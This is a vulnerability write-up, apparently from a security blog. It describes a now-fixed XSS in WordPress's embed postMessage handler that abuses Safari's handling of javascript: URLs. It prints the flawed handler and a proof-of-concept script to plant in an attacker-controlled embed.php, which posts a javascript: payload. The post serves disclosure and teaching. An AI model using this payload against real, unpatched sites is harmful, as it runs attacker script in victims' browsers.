Introduction
Users often assume that known software is free of security flaws because it has been checked by a sufficient number of tools and security testers. However, this is not an assumption that a pentester or bug hunter can afford to make. Vulnerabilities may lurk in various places, and finding an interesting bug often requires patient searching.
Applying this approach allowed me to discover an XSS class vulnerability in a well-known CMS like WordPress, which I will describe later.
What is postMessage()?
To understand my line of thinking and methodology, I first need to discuss what postMessage() is. It is part of the Web API, allows for safe and secure cross-origin communication between Window objects, it means that this method can send a message from one window to another, regardless of their origins. However, wrong usage of this feature can open up potential vectors for security vulnerabilities, such as the XSS we’re discussing in this article.
Root cause
Let’s take a look to the core of problem – JavaScript postMessage handler:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
if (c.wp.receiveEmbedMessage = function(e) { var t = e.data; if (t) if (t.secret || t.message || t.value) if (!/[^a-zA-Z0-9]/.test(t.secret)) { for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++) n[o].style.display = "none"; for (o = 0; o < s.length; o++) if (r = s[o], e.source === r.contentWindow) { if (r.removeAttribute("style"), "height" === t.message) { if (1e3 < (i = parseInt(t.value, 10))) i = 1e3; else if (~~i < 200) i = 200; r.height = i } if ("link" === t.message) if (a = d.createElement("a"), i = d.createElement("a"), a.href = r.getAttribute("src"), i.href = t.value, i.host === a.host) if (d.activeElement === r) c.top.location.href = t.value } } } |
Things that could be noticed in this code:
- Secret need to be known (but it’s provided as location.hash of embed webpage, so it’s not a problem)
- Only content window can send postMessages (which is cool, as it’s attacker website)
- If message attribute of postMessage data has link value – crazy things are happening
most important c.top.location.href = t.value where t is postMessage data controlled by the attacker.
The last point obviously can lead to XSS if attacker will use javascript:alert(document.domain) as t.value, however – before it happen important check is made:
1 2 3 4 5 |
if (a = d.createElement("a"), i = d.createElement("a"), a.href = r.getAttribute("src"), i.href = t.value, i.host === a.host) |
This code checks if the hostname provided in t.value is the same as the hostname of the embed page. It creates <a> element, but t.value as href attribute and then – takes the host attribute of the created URL. This approach is of course way better than some regular expression magic 😉 but there’s a behavior specific in Safari browser:
1 2 3 4 |
> var a = document.createElement("a") > a.href="javascript://google.com/%0aalert(document.domain);//" > console.log(a.host) < google.com |
All other browsers return an empty string in case of using javascript: scheme, but not Safari. This could lead the attacker to use javascript schema and execute javascript code in top window (victim’s blog).
Steps to reproduce
- Get an evil WordPress instance.
- Edit wordpress/wp-includes/theme-compat/embed.php file and add your custom HTML code:
1 2 3 4 5 6 |
<script> if(document.location.hash.indexOf("secret") != -1) { secret = document.location.hash.split("=")[1]; window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*"); } </script> |
- Create any post on an attacker blog, publish it and get its URL.
- On victim WordPress site (Safari) add new post with embed post from victim WordPress
- Alert executed:
Summary
This analysis and found bug demonstrates that even widely used platforms like WordPress are not immune to such known vulnerabilities as XSS.
The problem we found in the JavaScript postMessage handler shows how penetration testers can use deep knowledge how different web browsers work, and attack a function that was considered safe. This problem has now been fixed, but it’s a clear message to everyone creating websites and web apps that security audits need to be ongoing and cover all web browsers.
References: